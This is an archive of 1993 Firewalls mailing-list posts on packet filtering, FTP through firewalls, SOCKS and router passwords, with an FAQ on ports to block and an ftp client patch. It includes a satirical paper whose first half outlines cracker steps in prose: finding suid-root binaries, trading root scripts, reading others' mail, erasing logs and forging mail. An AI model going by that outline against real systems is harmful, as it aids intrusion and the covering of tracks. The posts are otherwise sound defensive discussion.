AA03123; Mon, 13 Dec 93 09:18:15 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03116; Mon, 13 Dec 93 01:18:05 PST Message-Id: <9312130918.AA03116@mycroft.GreatCircle.COM> Received: by coombs.anu.edu.au (1.37.109.8/16.2) id AA18933; Mon, 13 Dec 1993 20:21:33 +1100 From: Darren Reed Subject: Re: Different configs for dual-homed interfaces? To: THOMPSOND@ORVB.SAIC.COM Date: Mon, 13 Dec 1993 20:21:33 +1000 (EDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <931209115924.202013a8@ORVB.SAIC.COM> from "THOMPSOND@ORVB.SAIC.COM" at Dec 9, 93 11:59:24 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1838 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > As part of a firewall configuration, I want to configure a UNIX system > with two ethernet ports: one to the wild and wooly outside and one to the > trusted folks on the inside. I would like to offer no services on the > outside port but be rather liberal in services offered to the insiders. > (More generally, I would like to be able to offer different sets of > services on each port.) > > However, I can find no way to configure inetd to do this. There is no > interface argument on inetd, nor on any of the service deamons, nor on > ifconfig. I realize that tcpwrapper might control this, but I would like > to block access earlier than that, plus some of the inside services I > want to offer cannot be controlled by tcpwrapper. > > I am planning to put a router outside of my firewall machine, but > want an additional barrier against failure of the router. I'm not sure if this will work, but... if you disable packet forwarding in the kernel, then any connection from either side gets connected to the IP# associated with the respective interface. You can do a getsockname(2) call to work out which local side it has been associated to. You'd have to either hack inetd for this or implement it in the tcp wrapper (or similar). I'm not sure how reliable this is. Has anyone tried this before ? > I am using a Sun SPARCstation and Sun OS 4.1.3 for my research, but the > results will be applied to other systems; so a UNIX-wide solution is > preferrable, but an OS-specific one will still be helpful, as we might be > able to obtain a specific machine for this use. Disable packet forwarding in the kernel for a starter. How to do this has been mentioned on the mailing list earlier (and I can't remember just now). Oh, this assumes that you don't want to use the Sparcstation as a router. Darren From Firewalls-Owner@GreatCircle.COM Mon Dec 13 15:33:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03954; Mon, 13 Dec 93 15:33:23 GMT Received: from sahp088.ttd.sandia.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03947; Mon, 13 Dec 93 07:33:13 PST Message-Id: <9312131533.AA03947@mycroft.GreatCircle.COM> Received: from saquad001.ttd.sandia.gov by sahp088.ttd.sandia.gov with SMTP (1.37.109.4/16.2) id AA02515; Mon, 13 Dec 93 08:32:00 -0700 Date: Mon, 13 Dec 93 08:32:00 -0700 To: firewalls@GreatCircle.COM From: sdwix@ttd.sandia.gov (Steven D. Wix) Subject: Firewall Software for HP9000 Cc: rjorzel@sahp088.ttd.sandia.gov Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I am considering using an HP 715/50 as a firewall machine for our LAN. The basic configuration is Rest of the world | | ___________ |___| Firewall | ___| Machine | | |___________| | ___________|________________ Secure internal network Is there any firewall software available for HP 9000 machines? What services ( ftp, telnet, NFS, etc.) will I loose on the other machines on my LAN by inserting a firewall machine? The firewall machine will also be my mail server. I also have a network of Mac's that will need access to machines on my LAN. How should I integrate Mac users into the firewall concept? I want to maintain the existing services from my machines to the Internet, and from machine to machine on my LAN, but restrict Internet access to my machines. Thanks for your help. ==================================================== Steven D. Wix Sandia National Laboratories Transportation Systems Technology Department 6642 sdwix@ttd.sandia.gov 505-844-0778 From Firewalls-Owner@GreatCircle.COM Mon Dec 13 17:00:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA04392; Mon, 13 Dec 93 17:00:55 GMT Received: from panix.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA04385; Mon, 13 Dec 93 09:00:39 PST Received: by panix.com id AA17232 (5.65c/IDA-1.4.4); Mon, 13 Dec 1993 11:40:03 -0500 From: John Hawkinson Message-Id: <199312131640.AA17232@panix.com> Subject: Re: One-time passwords on Ciscos? To: krvw@assist.ims.disa.mil (Kenneth R. van Wyk) Date: Mon, 13 Dec 1993 11:40:03 -0500 (EST) Cc: firewalls@greatcircle.com In-Reply-To: <9312111512.AA01110@bull-run.ims.disa.mil> from "Kenneth R. van Wyk" at Dec 11, 93 10:12:15 am Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 983 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Kenneth R. van Wyk writes: > Pardon me if this question has already been asked here (if it has, I > certainly don't remember seeing it). But, has anyone investigated > using one-time passwords on Ciscos (or other routers, for that > matter)? It would sure make me rest easier to see sites configuring > their routers remotely if they were using SecureID or some other > one-time mechanism. One thing you can do as a quick&dirty (but still effective) solution is to only allow logins to the router from secure hosts that are doing one-time password authentication. While this may not be as attractive as modifying TACACS to deal with your authentication mechanism, it _is_ very easy to implement, provided you have such a host lying around to which the only people able to logon are the same as those for the router, and assuming the network topology and the router are configured such that you don't need to worry about IP-level host spoofing. -- John Hawkinson jhawk@panix.com From Firewalls-Owner@GreatCircle.COM Wed Dec 15 12:48:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14227; Wed, 15 Dec 93 12:48:13 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14220; Wed, 15 Dec 93 04:48:04 PST Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 7393; Wed, 15 Dec 93 07:49:46 EST Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 7392; Wed, 15 Dec 1993 07:49:41 -0500 Subject: FTP through firewall, list of services to block To: Firewalls mailing list From: "Andrew T. Robinson" Date: Wed, 15 Dec 93 07:45:00 EST Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk 1. I've heard or read allusions to the fact that there are difficulties in setting up FTP to work transparently across a firewall. Why, under what circumstances is this a problem (i.e., what firewall configuration), and specifically what is the workaround? 2. What is the name of the CERT advisory recommending ports to screen? Andy From Firewalls-Owner@GreatCircle.COM Wed Dec 15 14:17:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14563; Wed, 15 Dec 93 14:17:28 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14556; Wed, 15 Dec 93 06:17:17 PST Message-Id: <9312151417.AA14556@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Wed Dec 15 09:17:34 EST 1993 To: "Andrew T. Robinson" Cc: Firewalls mailing list Subject: Re: FTP through firewall, list of services to block Date: Wed, 15 Dec 93 09:17:33 EST Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk 1. I've heard or read allusions to the fact that there are difficulties in setting up FTP to work transparently across a firewall. Why, under what circumstances is this a problem (i.e., what firewall configuration), and specifically what is the workaround? You can find this in the archives on ftp.greatcircle.com, so I'll just summarize briefly. FTP uses a separate TCP connection to transfer the actual files you're sending or receiving. This connection is set up as an *incoming* call to the client from the server. Naturally, most firewalls don't permit incoming calls to pass through them. Application gateways can handle this with no problem. Circuit-level gateways have to make provisions for client processes to create listening sockets. For packet filters -- well, you could allow calls in to high-numbered ports, but that's risky. Or you could modify your ftp client to emit a PASV command instead of a PORT command for each transfer, so that the data channel is an outgoing call. There are diff's in the archives for that, and I'm writing an RFC on the subject. 2. What is the name of the CERT advisory recommending ports to screen? I don't know if it's an advisory. You can pick up the file pub/tech_tips/packet_filtering from ftp.cert.org. I'm told that it's going to be updated soon. --Steve Bellovin From Firewalls-Owner@GreatCircle.COM Wed Dec 15 16:15:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15105; Wed, 15 Dec 93 16:15:46 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15097; Wed, 15 Dec 93 08:15:39 PST Message-Id: <9312151615.AA15097@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Cc: mjr@tis.com Subject: ["Andrew T. Robinson": FTP through firewall, list of services to block] Date: Wed, 15 Dec 1993 08:15:38 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk These are both good questions which should be in the FAQ: Q: What's unusual about FTP with regard to packet filtering? A: FTP uses two TCP channels: one for commands, and one for data transfers. The command channel is opened once, from the FTP client to the FTP server, when you begin an FTP session. The data channel is opened for each file or command output (such as "DIR" output) from the server, then closed; a new data channel is opened for the next file or command output. Normally, TCP channels are opened from the client side, using a random port number (whatever happens to be available) on the client side and a well-known port number (21, in the case of FTP) on the server side; the FTP command channel functions in this fashion. The FTP data channel, however, is opened from the server side; further it still uses a well-known port on the server side, and a random port on the client side (the client tells the server over the command channel which port it's listening on for the data channel connection from the server). Many packet filtering firewalls let you block incoming start-of-connection packets, and only allow outgoing start-of-connection packets. This breaks standard FTP, because the server can't open the data channel back to the client. There is a standard FTP mode called "passive" mode that allows you to circumvent this problem, by causing the data channel to be opened from the client side, just as the command channel is. Unfortunately, not all FTP clients and servers implement this "passive" mode (which is initiated by a "PASV" command in the FTP protocol); both ends must support "passive" operation in order for you to use it. Another alternative is to construct your packet filters so that inbound TCP packets (including start-of-connection) are allowed, as long as they're from port 20 (the well-known port that FTP uses for the server side of the data channel) to random ports above 1024 on internal hosts, except for certain blocked ports. The ports above 1024 that you should block are any ports where you know you have vulnerable services running (for instance, window systems, databases, and so forth). See the next question for some ideas about what to block. Q: What ports should I block with packet filtering? A: To begin with, that's the wrong way to frame the question. It assumes that someone knows exactly what ports are "problem" ports, and that if you block those ports, you'll be safe; that is a bad assumption. The right way to frame the question is "what ports should I _allow_ with packet filtering?", and block everything else. Generally, you should allow the smallest set of ports possible. That set varies from site to site and machine to machine, depending on what the site does and how its machines are used, but generally includes services like SMTP (for electronic mail), DNS (for host-to-address and address-to-host translation), and NNTP (for netnews). You'll also need to allow inbound packets that are from external servers to internal clients, if you wish to allow outbound services like TELNET, FTP, and so forth. If, to allow inbound packets from external servers, you take the common approach of allowing all packets with destinations of ports >1024 on internal hosts, there are particular ports in that range that you almost certainly want to block. These are mainly the ports where vulnerable servers might be listening on your internal machines. What these vulnerable servers are depends on your site; they might be window systems, databases, or something else. The most common such vulnerable servers are X and OpenWindows servers. X servers listen at port 6000 through 6000+n, where n is determined by the number of active X servers on the system in question (a machine might have multiple X servers if it has multiple display/keyboard stations, or if users are running Xremote on it). OpenWindows is similarly vulnerable, and listens at ports 2000 through 2000+n. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Wed Dec 15 17:19:45 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15374; Wed, 15 Dec 93 17:19:45 GMT Received: from igate1.melpar.esys.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15367; Wed, 15 Dec 93 09:19:34 PST Received: by igate1.melpar.esys.com id AA03474 (5.67a/IDA-1.5 for firewalls@greatcircle.com); Wed, 15 Dec 1993 12:20:28 -0500 Received: from igate2.melpar.esys.com(198.4.96.2) by igate1.melpar.esys.com via smap (V1.0mjr) id sma003472; Wed Dec 15 12:20:06 1993 Received: from neteng.ne.melpar.esys.com by igate5.isp.melpar.esys.com with SMTP id AA20396 (5.67a/IDA-1.5 for firewalls@greatcircle.com); Wed, 15 Dec 1993 12:19:47 -0500 Received: by neteng.ne.melpar.esys.com (5.65/25-eef) id AA15319; Wed, 15 Dec 93 12:20:04 -0500 Message-Id: <9312151720.AA15319@neteng.ne.melpar.esys.com> From: rmartin@melpar.esys.com (Richard Martin) To: firewalls@greatcircle.com X-Mailer: ScoMail 1.0 Date: Wed, 15 Dec 1993 12:20:03 -0500 (EST) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk who firewalls ------------------------------------------------------------------------- Richard Martin E-Systems, Melpar Division - Network Engineering Internet: rmartin@melpar.esys.com UUCP: uunet!melpar!rmartin Phone: (703)560-5000 x4586 From Firewalls-Owner@GreatCircle.COM Thu Dec 16 10:40:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07225; Thu, 16 Dec 93 10:40:23 GMT Received: from aleph.cpb.nl ([192.104.140.2]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07200; Thu, 16 Dec 93 02:39:51 PST Received: by aleph.cpb.nl (5.61/1.1/CPB-Den Haag) id AA13096; Thu, 16 Dec 93 11:40:22 +0100 To: "Andrew T. Robinson" Cc: Firewalls mailing list Subject: Re: FTP through firewall, list of services to block In-Reply-To: Your message of "Wed, 15 Dec 93 07:45:00 EST" X-400: /G=Wiebe/S=Poppe/O=cpb/PRMD=surf/ADMD=400net/C=nl/ X-Organization: Centraal Planbureau, Den Haag, the Netherlands. X-Department: Toegepaste Wiskunde en Informatica X-Phone: +31 70 3383302 X-Fax: +31 70 3383350 Date: Thu, 16 Dec 93 11:40:21 +0100 Message-Id: <13093.756038421@aleph.cpb.nl> From: Wiebe Poppe Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Another solution to the FTP problem is to modify the ftp code to let it use a specific range of port numbers that normally is not used. At our side i use ports above 60k, see the diff. Wiebe. -------------------------------------------------------------------------------- diff ftp.c ftp.c.orig # "@(#)ftp.c 5.28 (Berkeley) 4/20/89" 1113,1129d1112 < static int seed = 0; < /* < ** need a known port range due to firewall < ** we use all ports above MINPORT < ** this range must be permitted by the router < ** we must check if bind() sets errno to EADDRINUSE due to < ** the fact that now we may bind to an address already in use < ** we randomly select a port number, because starting at a < ** fixed port and incrementing the port number will result < ** into serious delay in case of two concurrent ftp programs < ** claiming same port numbers < ** usally this delay also occurs when sendport is toggled off < ** the delay is due to previous connections being in time_wait < ** state (they all use the same port (20) at the server side) < */ < #define MINPORT 61440 < #define MASK 0xfff /* TCP ports are 16 bits numbers thus max = 64k */ 1133,1139c1116,1117 < if (sendport) { < if (!seed) { < seed = 1; < srandom(getpid()); < } < data_addr.sin_port = MINPORT + (random() & MASK); < } --- > if (sendport) > data_addr.sin_port = 0; /* let system pick one */ 1155,1156d1132 < if ( errno == EADDRINUSE ) < goto noport; From Firewalls-Owner@GreatCircle.COM Thu Dec 16 17:32:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA13673; Thu, 16 Dec 93 17:32:05 GMT Received: from SNYBSCVA.CS.SNYBUF.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA13664; Thu, 16 Dec 93 09:31:56 PST Message-Id: <9312161731.AA13664@mycroft.GreatCircle.COM> Date: Thu, 16 Dec 1993 12:12 +0500 From: KRAMPWD@SNYBSCVA.CS.SNYBUF.EDU To: firewalls@greatcircle.com Subject: screend packet filter for BSD386 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have ordered BSD/386 from Berkeley Software Design. Back in firewall digest #244, it was mentioned that screend had been ported to BSD386. Where can I find this code? -Bill Kramp From Firewalls-Owner@GreatCircle.COM Thu Dec 16 18:05:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14231; Thu, 16 Dec 93 18:05:12 GMT Received: from shadow.net (anshar.shadow.net) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14215; Thu, 16 Dec 93 10:04:57 PST Received: from localhost (cklaus@localhost) by shadow.net (8.6.4/jc-1.0) id NAA09424 for firewalls@greatcircle.com; Thu, 16 Dec 1993 13:06:48 -0500 From: Christopher Klaus Message-Id: <199312161806.NAA09424@shadow.net> Subject: UeberAdmin To: firewalls@greatcircle.com Date: Thu, 16 Dec 93 13:06:48 EST X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Im releasing this to firewalls, because this is where I saw Dan Farmer's paper on Cracking into Systems. It is a paper I wrote kind of a response to the folklore of (cr/h)ackers. It also makes some good points as to the future security of Internet. (imho). A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers. Author: Christopher Klaus Date: December 5th, 1993. Version: 1.1 This is a paper will be broken into two parts, one showing 15 easy steps to becoming a uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr/h)acker that is practically impossible to keep out of the networks. Here's the steps to becoming a uebercracker. Step 1. Relax and remain calm. Remember YOU are a Uebercracker. Step 2. If you know a little Unix, you are way ahead of the crowd and skip past step 3. Step 3. You may want to buy Unix manual or book to let you know what ls,cd,cat does. Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture. Step 5. Ask on alt.irc how to get and compile the latest IRC client and connect to IRC. Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way there!) Step 7. Now, sit on #hack and send messages to everyone in the channel saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks questions like "Why cant I join #warez?" Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary programs suid root (look in Unix manual from step 3 if confused). After finding a suid root binary, (ie. su, chfn, syslog), tell people you have a new bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask them to trade for their get-root scripts. Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again. Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be obnoxious on #hack otherwise people will look down on you and not give you anything.) Step 11. Hopefully you will now have atleast one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever temps you. (look in Unix manual from step 3 if confused). Step 12. A good test for true uebercrackerness is to be able to fake mail. Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root and how you erased his files, and have it appear coming from satan@evil.com. Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are a uebercracker.) Step 14. Wait a few months and have all your notes, etc ready in your room for when the FBI, Secret Service, and other law enforcement agencies confinscate your equipment. Call eff.org to complain how you were innocent and how you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.) Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to #hack and brag about how you were busted. YOU are finally a true Uebercracker. Now the next part of the paper is top secret. Please only pass to trusted administrators and friends and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.) This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers. Step 1. Read Unix manual ( a good idea for admins ). Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers. Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on Internet. Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.) Step 5. Apply all CERT and vendor patches to all of your machines. You have just now killed 95% of all uebercrackers. Step 6. Run a good password cracker to find open accounts and close them. Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anon FTP site.) Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrads! (Remember, You are the admin.) Step 8. Now there is one percent of uebercrackers that have gained knowledge from reading some security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.) Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bugs, it would be a service to Internet. They do not have to post it on Usenet, but share among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches. Step 10. If you have gained the confidence of enough security experts, you will know be a looked upto as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto #hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like - "That bug been known for years, there just isn't any patches for it yet. Here's my fix." and the other half of the replies will be like - "Wow. That is very impressive. You have just moved up a big notch in my security circle." VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups mention anything about that security hole, Flame him for discussing it since it could bring down Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security. Well, this paper has shown the finer details of security on Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on Internet are as the following: 1. Vendors need to make security a little higher than zero in priority. If most vendors shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most uebercrackers would be stuck as new machines get added to Internet. (I believe Uebercracker is german for "lame copy-cat that can get root with 3 year old bugs.") An interesting note is that if you probably check the mail alias for "security@vendor.com", you will find it points to /dev/null. Maybe with enough mail, it will overfill /dev/null. (Look in manual if confused.) 2. Security experts giving up the attitude that they are above the normal Internet user and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably don't realize how far their information has already spread. 3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker. Resources for Security: Many security advisories are available from anonymous ftp cert.org. Ask archie to find tcp_wrapper, security programs. For more information about ISS (Internet Security Scanner), email cklaus@shadow.net. Acknowledgements: Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott Miles, Scott Yelich, and Henri De Valois. Copyright: This paper is Copyright 1993, 1994. Please distribute to only trusted people. If you modify, alter, disassemble, reassemble, re-engineer or have any suggestions or comments, please send them to: cklaus@shadow.net -- Christopher William Klaus Email: cklaus@shadow.net Author:Inet Sec. Scanner 2209 Summit Place Drive,Dunwoody, GA 30350-2430. (404)206-1513. From Firewalls-Owner@GreatCircle.COM Thu Dec 16 19:05:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15216; Thu, 16 Dec 93 19:05:52 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15199; Thu, 16 Dec 93 11:05:42 PST Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA08598(telemann.inoc.dl.nec.com); Thu, 16 Dec 93 13:05:54 CST Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA21416(texas.syl.dl.nec.com); Thu, 16 Dec 93 13:05:50 CST Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA08342(florida.syl.dl.nec.com); Thu, 16 Dec 93 13:05:49 CST Date: Thu, 16 Dec 93 13:05:49 CST From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9312161905.AA08342@florida.syl.dl.nec.com> To: cert-tools@cert.org, firewalls@greatcircle.com, socks@inoc.dl.nec.com Subject: SOCKS.CSTC release 4.1 available Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The CSTC release 4.1 of SOCKS is now available for anonymous ftp on host ftp.nec.com, in directory /pub/security/socks.cstc. (We may have to replace a disk on that host sometime today, so if you encounter problems connecting to it, please try again a bit laster.) Excerpt from the README.1st file: This is CSTC 4.1 release of SOCKS, a package that allows Unix hosts behind a firewall to gain full access to the Internet without requiring direct IP reachability. It does require a SOCKS server program being run on a hosts that can communicate directly with hosts behind the firewall as well as hosts on the Internet at large. It is based on the original SOCKS written by David Koblas . The package includes full source for the SOCKS server and SOCKSified client programs of finger, ftp, telnet, and whois. Other SOCKSified clients such as xgopher (ver. 1.3.1) and Mosaic (ver. 2.0) can be found on ftp.nec.com, in directory /pub/security/socks.cstc. (On WWW, the URL is file://ftp.nec.com/pub/security/socks.cstc ) Mosaic 2.1 as distributed by NCSA already contains the SOCKSification patch in its source, which is available from ftp.ncsa.uiuc.edu, in /Mosaic/Mosaic-source. This release is known to run on the following Unix platforms: SunOS 4.1.x (ylee@syl.dl.nec.com) Irix 4.0.x (imd1707@ggr.co.uk) Ultrix 4.3 (als@cpsg.com.au, imd1707@ggr.co.uk) HP-UX 9.0x (als@cpsg.com.au, ken.shackelford@sdrc.com, bryan@Stoner.COM) AIX 3.2.x (ken.shackelford@sdrc.com, bryan@Stoner.COM) Interactive Systems Unix (ken.shackelford@sdrc.com) Alpha OSF 1.3 (ken.shackelford@sdrc.com, amellan@acri.fr, treese@crl.dec.com) Solaris 2.2 (ylee@syl.dl.nec.com) NetBSD 0.9 (bryan@Stoner.COM) UnixWare (pax@ankh.metrolink.com) Linux 0.99pl13 (cornell@syl.dl.nec.com, cmetz@thor.tjhsst.edu) -------------------- MAJOR CHANGES SINCE 4.0 1)You now have the option of building a SOCKS server program for a multi-homed host by defining the symbol 'MULTIHOMED_SERVER' in include/socks.h. A multi-homed server requires another control file /etc/sockd.route to tell it which of its network interfaces it should use for communicating with which networks or hosts. 2)You can now build 'versatile' clients, which uses SOCKS server(s) to reach outside of your firewall but connects directly to hosts within the firewall. So, for example, you can save away your regular ftp program and replace it with the versatile SOCKS ftp client (rftp). 3)The interpretation of address masks are changed. 1's in a mask now denote the bit positions that matter while 0's denote the don't-care bit positions. In other words, they are now interpreted the same way as IP netmasks. This holds true not only for the two new control files mentioned above, but also for /etc/sockd.conf. A new program 'flip_cfmasks' is provided in the sockd subdirectory to convert the old format to the new one. 4)An optional getpass() is provided to communicate with systems that may require longer password (> 8 characters). This is for regular passwords. As in 4.0, "passwords" for anonymous ftp can be longer than 8 characters even without using the optional getpass(). 5)Termination of a TCP session is now also logged on the SOCKS server, including the number of bytes transported in either direction. 6)An compile time option is provided to make ftp (rftp) log the name of every file transferred. 7)The man pages are substantially revamped. All 4.1 clients work with all 4.0 and 4.1 servers. 4.0 clients work with single-homed 4.1 servers but NOT with 4.1 multi-homed servers. 'sockd -ver' tells you not only the version number but also whether it is single- or multi-homed. There is now a mailing list devoted to issues related to SOCKS. To join the list, please send an email subscription request with your email address to socks-request@inoc.dl.nec.com. ======================================================================== Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com From Firewalls-Owner@GreatCircle.COM Thu Dec 16 23:14:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19403; Thu, 16 Dec 93 23:14:25 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19396; Thu, 16 Dec 93 15:14:14 PST Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26180; Thu, 16 Dec 93 18:14:19 -0500 Received: from sbei.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 181218.14413; Thu, 16 Dec 1993 18:12:18 EST Received: from sbe1.sbei.com by sbei (4.1/SMI-4.2) id AA27115; Thu, 16 Dec 93 14:51:40 PST Received: from sbe54.sbe by sbe1.sbei.com (4.1/SMI-4.1) id AA08655; Thu, 16 Dec 93 14:52:03 PST Date: Thu, 16 Dec 93 14:52:03 PST From: garyh@sbei.com (Gary Hasenfus) Message-Id: <9312162252.AA08655@sbe1.sbei.com> X-Mailer: Mail User's Shell (7.1.1 5/02/90) To: firewalls@greatcircle.com Subject: CSTC SOCKS Client for PCNFS Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Does anyone know if, and/or where, I can find CSTC SOCKS compatable Client programs for that will run on top of SUN's PCNFS. I have a network comprised of SUNs and PC's connected a PCNFS. I am in the process of getting connected to the Internet and find the CSTS SOCKS solution very attractive. I will have the standard screened net with a bastion host set up: ---------------------------- Internet | | ----------- | Gateway | | Router | ----------- | ----------- |-----------| Bastion | | | Host | ------------ ----------- | Firewall | | Router | ------------ | | ---------------------------- Local LAN | . . . | | . . . | SUN SUN PC PC The services I would like to provide to both types of clients are outgoing: FTP, TELNET, ARCHIE, GOPHER, and MOSAIC. Any related advice will be happily accepted. Thanks, -- /-----------------------\_/----------------------------------\ | SBE Inc. | Internet: garyh@sbei.com | | Gary D. Hasenfus | UUNET: uunet.uu.net!sbei!garyh | | 4550 Norris Canyon Rd. | Voice: (510) 355-7726 | | San Ramon, Ca. 94583 | FAX: (510) 355-2020 | \_______________________/-\__________________________________/ --EOM-- From Firewalls-Owner@GreatCircle.COM Fri Dec 17 04:51:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24577; Fri, 17 Dec 93 04:51:21 GMT Received: from shadow.net (anshar.shadow.net) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24570; Thu, 16 Dec 93 20:51:12 PST Received: from localhost (cklaus@localhost) by shadow.net (8.6.4/jc-1.0) id XAA14285 for firewalls@greatcircle.com; Thu, 16 Dec 1993 23:53:06 -0500 From: Christopher Klaus Message-Id: <199312170453.XAA14285@shadow.net> Subject: ISS update. To: firewalls@greatcircle.com Date: Thu, 16 Dec 93 23:53:05 EST 